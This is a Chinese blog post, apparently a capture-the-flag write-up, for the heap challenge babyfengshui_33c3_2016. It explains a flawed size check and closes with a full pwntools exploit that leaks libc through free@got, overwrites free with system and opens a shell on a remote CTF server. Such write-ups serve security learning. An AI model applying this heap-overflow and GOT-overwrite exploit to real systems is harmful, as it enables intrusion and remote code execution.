本文主要是介绍babyfengshui_33c3_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
babyfengshui_33c3_2016
使用checksec
查看:
开启了Canary和栈不可执行,看题目像是一道heap题目。
放进IDA中查看:
void __cdecl __noreturn main()
{char v0; // [esp+3h] [ebp-15h]int v1; // [esp+4h] [ebp-14h]size_t v2; // [esp+8h] [ebp-10h]unsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);alarm(0x14u);while ( 1 ){puts("0: Add a user");puts("1: Delete a user");puts("2: Display a user");puts("3: Update a user description");puts("4: Exit");printf("Action: ");if ( __isoc99_scanf("%d", &v1) == -1 )break;if ( !v1 ){printf("size of description: ");__isoc99_scanf("%u%c", &v2, &v0);sub_8048816(v2);}if ( v1 == 1 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_8048905(v2);}if ( v1 == 2 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_804898F(v2);}if ( v1 == 3 ){printf("index: ");__isoc99_scanf("%d", &v2);sub_8048724(v2);}if ( v1 == 4 ){puts("Bye");exit(0);}if ( byte_804B069 > 0x31u ){puts("maximum capacity exceeded, bye");exit(0);}}exit(1);
}
看菜单,堆题,那就一步一步去分析:
首先是sub_8048816(v2)
创建chunk:
-
s = malloc(a1);
首先创建用户输入大小的chunk,里面数据置0 -
v2 = malloc(0x80u);
接着会创建一个0x80
大小的chunk,里面数据置0 -
*v2 = s;
第一次申请的chunk的地址放入第二次申请的chunk中
跟进sub_80486BB
函数:
- 匹配
\n
:也就是说如果name不为空,将第一次申请的chunk的name存放在*v2+4
处
跟进sub_8048724
:
if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 )
:v3是由用户输入的,*ptr[a1]
实际就是s
,ptr[a1] - 4
实际是name
的地址,也就是验证chunk1和chunk2之间的距离。
接着看删除函数:
- 清空数据,清空指针,没啥毛病
输出函数:
- 显示数据,也没啥毛病。
update:
- 就是create中的
sub_8048724
函数。
题目思路:
-
判断数据长度是否合法的地方有问题,可以通过申请连续小堆块,再释放,接着申请大堆块的方式绕过。
- 首先申请连续的3个chunk012,本题用
0x80
,方便计算。 - 释放第一个结构体,得到一个空闲的0x100的堆块
- 申请新的结构体,大小为
0x100
- 那么用户新申请的
0x100
大小的chunk将会在chunk1前面,程序自动申请的0x80
大小的chunk将会在chunk2后面 - 校验写入数据大小是否合法时校验的是这两个chunk之间的距离。
- 也就是说现在我们可写入的大小是
0x100+0x80+0x80+0x80+0x80
- 修改系统创建的chunk1中存储chunk1地址的位置的数据,修改成
free@got
造成libc泄露。 - 在libc中找到
system
的地址 - 将
free
地址内的内容替换为system
- 执行
free(2)
将会执行system(/bin/sh)
exp:
from pwn import *#start r = remote("node4.buuoj.cn",29291) # r = process("../buu/babyfengshui_33c3_2016") elf = ELF("../buu/babyfengshui_33c3_2016") libc = ELF("../buu/ubuntu16(32).so")def add(size,name,length,text):r.sendlineafter("Action: ",'0')r.sendlineafter("description: ",str(size))r.sendlineafter("name: ",name)r.sendlineafter("text length: ",str(length))r.sendlineafter("text: ",text)def delete(index):r.sendlineafter("Action: ", '1')r.sendlineafter("index: ", str(index))def show(index):r.sendlineafter("Action: ", '2')r.sendlineafter("index: ", str(index))def edit(index, length, text):r.sendlineafter("Action: ", '3')r.sendlineafter("index: ", str(index))r.sendlineafter("length: ", str(length))r.sendlineafter("text: ", text)#params free_got = elf.got['free']#attack add(0x80,"M1",0x80,"MMMM") add(0x80,"M2",0x80,"MMMM") add(0x80,"M3",0x80,"/bin/sh\x00") # gdb.attach(r) delete(0) payload = b'M'*0x198 + p32(free_got) add(0x100,"MM1",0x19c,payload) show(1) r.recvuntil("description: ") free_addr = u32(r.recv(4))#libc base_addr = free_addr - libc.symbols['free'] system_addr = base_addr + libc.symbols['system']#attack2 edit(1,0x4,p32(system_addr)) delete(2)r.interactive()
- 首先申请连续的3个chunk012,本题用
这篇关于babyfengshui_33c3_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!